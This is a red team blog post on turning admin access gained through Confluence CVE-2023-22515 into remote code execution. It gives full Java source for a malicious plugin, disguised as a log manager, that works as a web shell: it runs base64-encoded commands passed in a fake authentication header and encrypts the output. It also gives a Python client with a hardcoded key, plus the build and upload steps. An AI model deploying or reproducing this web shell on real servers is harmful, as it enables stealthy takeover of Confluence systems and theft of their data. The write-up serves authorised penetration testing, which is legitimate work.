Introduction

During a recent Red Team exercise, our team has encountered a vulnerable Confluence which is versioned 8.5.2. This particular version of Confluence is vulnerable to CVE-2023–22515 [1] which allows an unauthenticated attacker to become a Confluence administrator. Confluence is an attractive target for data gathering as it is a workspace web application for teams to share information among one another, functioning as a knowledge base. Although this vulnerability is categorised as broken access control, it ultimately allows an unauthenticated attacker to execute code on the remote server through the usage of plugins. Like many other CMS such as Wordpress [2], plugins are essential to enhance the features of the software but they can be abused to achieve code execution by a user with admin privilege. At the point of writing, one of the tools available to achieve code execution is Metasploit [3]. It uses PayloadServlet class [4] to spawn a new thread running Payload.java [5], eventually running Metasploit payloads by dropping an executable or stager depending on the options selected.

Unfortunately, for this engagement, the remote server has AV installed and the firewall rules are configured in such a way that reverse or bind shells will not work, making Metasploit payloads unsuitable. Therefore, the team proceeds to write a malicious plugin for Confluence to function as a web shell. This article does not cover the technical details of the vulnerability as it had been published in many online articles [6]. Instead, this article addresses the missing details of preparing, writing and compiling a malicious plugin in Confluence to allow remote code execution, hoping that it will assist others in their Red Team engagement.

Preparation

Initially, the team has wanted to modify an existing plugin available on Atlassian marketplace and compile it back. Somehow, the compilation without the Atlassian SDK is complicated and execution of the compiled jar file on a remote Confluence server will fail. Using the instructions detailed in [7], the team installs the Atlassian SDK and uses the command atlas-create-confluence-plugin to build a skeleton structure for us to modify. In this case, the team names the plugin as com.atlassian.utils.logmanager.logger.

Project structure

Modification to created project

For pom.xml, adding an additional dependency servlet-api is necessary in order for the compilation to be successful. Since we are going to write a web shell, we will have to expose a path to our servlet and this will be done by adding a servlet entry in src/resources/atlassian-plugin.xml. By exposing /logger/admin, the effective path is actually /plugins/servlet/logger/admin if the plugin is successfully deployed.

<servlet key="logger-servlet" class="com.atlassian.utils.logmanager.logger.LoggerServlet">
<url-pattern>/logger/admin</url-pattern>
</servlet>

Writing the web shell

From the servlet entry in atlassian-plugin.xml, we have to create to write our LoggerServlet.java code in src/main/java/com/atlassian/utils/logmanager/logger/. Our team opts to override the doPost method to provide the web shell functionality. Commands will be base64 encoded and put in the X-Seraph-LoginValue HTTP header. The web shell will process the command and encrypt the output before writing to the response body.

package com.atlassian.utils.logmanager.logger;

import java.io.*;

import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;

import java.util.Base64;

import javax.crypto.Cipher;
import javax.crypto.SecretKey;
import javax.crypto.SecretKeyFactory;
import javax.crypto.spec.IvParameterSpec;
import javax.crypto.spec.PBEKeySpec;
import javax.crypto.spec.SecretKeySpec;
import java.security.SecureRandom;
import java.security.spec.KeySpec;

public class LoggerServlet extends HttpServlet{

@Override
public void doPost(HttpServletRequest request, HttpServletResponse response) throws IOException, ServletException
{
ByteArrayOutputStream bos = new ByteArrayOutputStream();
try {
String cmd = request.getHeader("X-Seraph-LoginValue");
if (cmd == null)
{
PrintWriter out = response.getWriter();
out.write("Ok");
return;
}
else {
byte[] decodedcmd = Base64.getDecoder().decode(cmd);
cmd = new String(decodedcmd);
}
Process process = Runtime.getRuntime().exec‏ ‎(new String[]("/bin/sh", "-c", cmd));
InputStream inStream = process.getInputStream();
InputStream errStream = process.getErrorStream();

byte[] buf = new byte[8192];
int length;
while ((length = inStream.read(buf)) != -1) {
bos.write(buf,0, length);
}

while ((length = errStream.read(buf)) != -1) {
bos.write(buf,0, length);
}

inStream.close();
errStream.close();
} catch (Throwable throwable) {
StringWriter sw = new StringWriter();
PrintWriter pw = new PrintWriter(sw);
throwable.printStackTrace(pw);
pw.close();
bos.write(sw.toString().getBytes());
}
try {
/* Encrypt */
SecureRandom secureRandom = new SecureRandom();
byte[] iv = new byte[16];
secureRandom.nextBytes(iv);
IvParameterSpec ivspec = new IvParameterSpec(iv);

SecretKeyFactory factory = SecretKeyFactory.getInstance("PBKDF2WithHmacSHA256");
KeySpec spec = new PBEKeySpec("INTFINITY".toCharArray(), "SALT".getBytes(), 65536, 256);
SecretKey tmp = factory.generateSecret(spec);
SecretKeySpec secretKeySpec = new SecretKeySpec(tmp.getEncoded(), "AES");


Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding");
cipher.init(Cipher.ENCRYPT_MODE, secretKeySpec, ivspec);

byte[] cipherText = cipher.doFinal(bos.toByteArray());
byte[] encryptedData = new byte[iv.length + cipherText.length];
System.arraycopy(iv, 0, encryptedData, 0, iv.length);
System.arraycopy(cipherText, 0, encryptedData, iv.length, cipherText.length);

String result = Base64.getEncoder().encodeToString(encryptedData);
PrintWriter out = response.getWriter();

out.write((result));

} catch (Exception e) {
System.out.print("Error");
}

}
}

Compilation

Compilation can be done by executing atlas-package in the root of the project folder. This will compile to build a .jar and .obr file in the target folder. Note that during the first compilation, it will take significant amount of time to compile as downloading of necessary packages from the Internet is required. Once the packages are built, we can upload the package as an administrator (using the CVE-2023-22515 vulnerability or through other means) and obtain code execution capability. One can use curl command to test whether the plugin is working as intended.

Issuing a ls command and getting an encrypted output
Issuing a POST without the required header

Python client

A simple python client is written to interact with the web shell to allow the user to decrypt the output on the fly.

import base64
import requests
from Crypto.Cipher import AES

aes_secret = base64.b64decode("KTG45dtXspotBNa5PZuTxlS5Ddf3CZOEaHInRGggSmQ=")

while True:
command = str.encode(input("confluence-client:# "))

# Interacting with the servlet
r = requests.post('http://localhost:8090/plugins/servlet/logger/admin',headers={'X-Seraph-LoginValue': base64.b64encode(command)})

# Parsing the IV and encrypted blob
base64_ciphertext = r.text
ciphertext = base64.b64decode(base64_ciphertext)
iv = ciphertext[:16]
encrypted_text = ciphertext[16:]

# Decrypting output
cipher = AES.new(aes_secret, AES.MODE_CBC, iv=iv)
plaintext = cipher.decrypt(encrypted_text)

# Display decrypted output to user
print(plaintext.decode('utf-8'))
Sample client output

Ending notes

We hope that through the above notes, it would aid to enhance the reader’s Red Team engagement to get code execution on the server itself if ever a vulnerable Confluence server pops up. The code to the exploit, confluence plugin and python client has been uploaded to our github — https://github.com/INTfinityConsulting/cve-2023-22515.

References

[1] https://confluence.atlassian.com/security/cve-2023-22515-broken-access-control-vulnerability-in-confluence-data-center-and-server-1295682276.html

[2] https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/wordpress#plugin-rce

[3] https://github.com/rapid7/metasploit-framework/pull/18461

[4] https://github.com/rapid7/metasploit-javapayload/blob/master/javapayload/src/main/java/metasploit/PayloadServlet.java

[5] https://github.com/rapid7/metasploit-javapayload/blob/master/javapayload/src/main/java/metasploit/Payload.java

[6] https://blog.qualys.com/vulnerabilities-threat-research/2023/11/15/atlassian-confluence-broken-access-control-vulnerability-cve-2023-22515#:~:text=CVE%2D2023%2D22515%20is%20an,accounts%20and%20access%20Confluence%20instances.

[7] https://developer.atlassian.com/server/framework/atlassian-sdk/install-the-atlassian-sdk-on-a-linux-or-mac-system/

--

--

No responses yet